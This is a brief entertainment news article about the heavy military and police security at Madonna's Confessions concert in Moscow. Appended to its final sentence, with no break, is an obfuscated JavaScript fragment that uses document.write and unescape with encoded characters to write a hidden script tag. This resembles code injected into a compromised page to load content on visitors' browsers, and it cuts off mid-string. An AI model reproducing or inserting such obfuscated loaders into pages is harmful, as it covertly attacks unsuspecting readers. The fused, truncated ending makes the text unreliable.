Madonna guarded by 10,000 soldiers at gig

Pop diva Madonna was apparently protected by 10,000 soldiers and riot police when she performed in Russia this week.

The army of security staff reportedly attended the glitzy show, at Moscow's Luzhniki Stadium, amid fears of gatecrashing and Chechen terrorist attacks.

Fans excited to see the singer's Confessions concert arrived to find they had to go through metal detectors and undergo bag checks, while sniffer dogs patrolled the grounds and helicopters circled above.

"There was very little atmosphere or dancing and Madonna was really struggling to get the crowd going. Most events have a security presence but this did seem to be extraordinary," one Madge fan told the Daily Mirror.

"I was at the G8 summit and the security was comparable. Everywhere you looked there was a ring of security guards.

"It did make it hard to dance when you're standing beside a guy in uniform."

Madonna was supposed to play in a park close to Moscow State University.

However, two weeks ago police asked her to move her show to a different venue because they feared thousands of fans might try to gatecrash the gig at the park.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22